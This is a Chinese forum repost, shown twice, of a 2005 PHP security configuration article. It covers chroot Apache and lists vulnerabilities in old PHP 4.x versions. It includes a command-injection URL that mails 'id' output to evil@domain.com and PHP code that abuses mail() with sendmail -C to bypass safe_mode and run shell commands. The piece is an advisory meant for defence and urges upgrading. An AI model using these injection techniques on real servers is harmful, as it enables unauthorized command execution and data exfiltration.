找回密码
 注册
【阿里云】2核2G云新老同享 99元/年,续费同价华为云精选云产品特惠做网站就用糖果主机Jtti,新加坡服务器,美国服务器,香港服务器
查看: 345|回复: 1

PHP安全配置(1)

[复制链接]
发表于 2005 年 10 月 8 日 15:42:43 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×
  一、Web服务器安全 PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须
是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安
装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot
的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连
接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的: [mail function] ; For Win32 only.
SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com 都是针对Win32平台,所以需要在chroot环境下调整
好sendmail。 二、PHP本身问题 1、远程溢出 PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已
经广泛流传,成功率非常高. 2、远程拒绝服务 PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,
虽然不能获得本地用户权限,但是也能造成拒绝服务。 3、safe_mode绕过漏洞 还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP
mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode
的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: 执行
如下的URL: http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com 这将id执行的结果发送给
evil@domain.com。 对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用
sendmail。如下的代码能够突破safe_mode限制执行命令: #注意,下面这两个必须是不存在的, 或者它们的属主和本脚本的属
主是一样 $script=/tmp/script123; $cf=/tmp/cf123; $fd = fopen($cf, w); fwrite($fd, OQ/tmp Sparse=0 R$* . chr(9) .
$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script); fclose($fd); $fd = fopen($script, w); fwrite($fd, rm -f
$script $cf; ); fwrite($fd, $cmd); fclose($fd); mail(nobody, , , , -C$cf); ?> 还是使用以上有问题版本PHP的用户一定
要及时升级到最新版本,这样才能消除基本的安全问题。


转自:  http://edu.chinaz.com
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
 楼主| 发表于 2005 年 10 月 8 日 15:42:43 | 显示全部楼层
【腾讯云】2核2G云服务器新老同享 99元/年,续费同价

PHP安全配置(1)

  一、Web服务器安全 PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须
是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安
装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot
的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连
接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的: [mail function] ; For Win32 only.
SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com 都是针对Win32平台,所以需要在chroot环境下调整
好sendmail。 二、PHP本身问题 1、远程溢出 PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已
经广泛流传,成功率非常高. 2、远程拒绝服务 PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,
虽然不能获得本地用户权限,但是也能造成拒绝服务。 3、safe_mode绕过漏洞 还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP
mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode
的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: 执行
如下的URL: http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com 这将id执行的结果发送给
evil@domain.com。 对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用
sendmail。如下的代码能够突破safe_mode限制执行命令: #注意,下面这两个必须是不存在的, 或者它们的属主和本脚本的属
主是一样 $script=/tmp/script123; $cf=/tmp/cf123; $fd = fopen($cf, w); fwrite($fd, OQ/tmp Sparse=0 R$* . chr(9) .
$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script); fclose($fd); $fd = fopen($script, w); fwrite($fd, rm -f
$script $cf; ); fwrite($fd, $cmd); fclose($fd); mail(nobody, , , , -C$cf); ?> 还是使用以上有问题版本PHP的用户一定
要及时升级到最新版本,这样才能消除基本的安全问题。


转自:  http://edu.chinaz.com
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|金光论坛

GMT+8, 2024 年 11 月 20 日 15:36 , Processed in 0.124649 second(s), 24 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表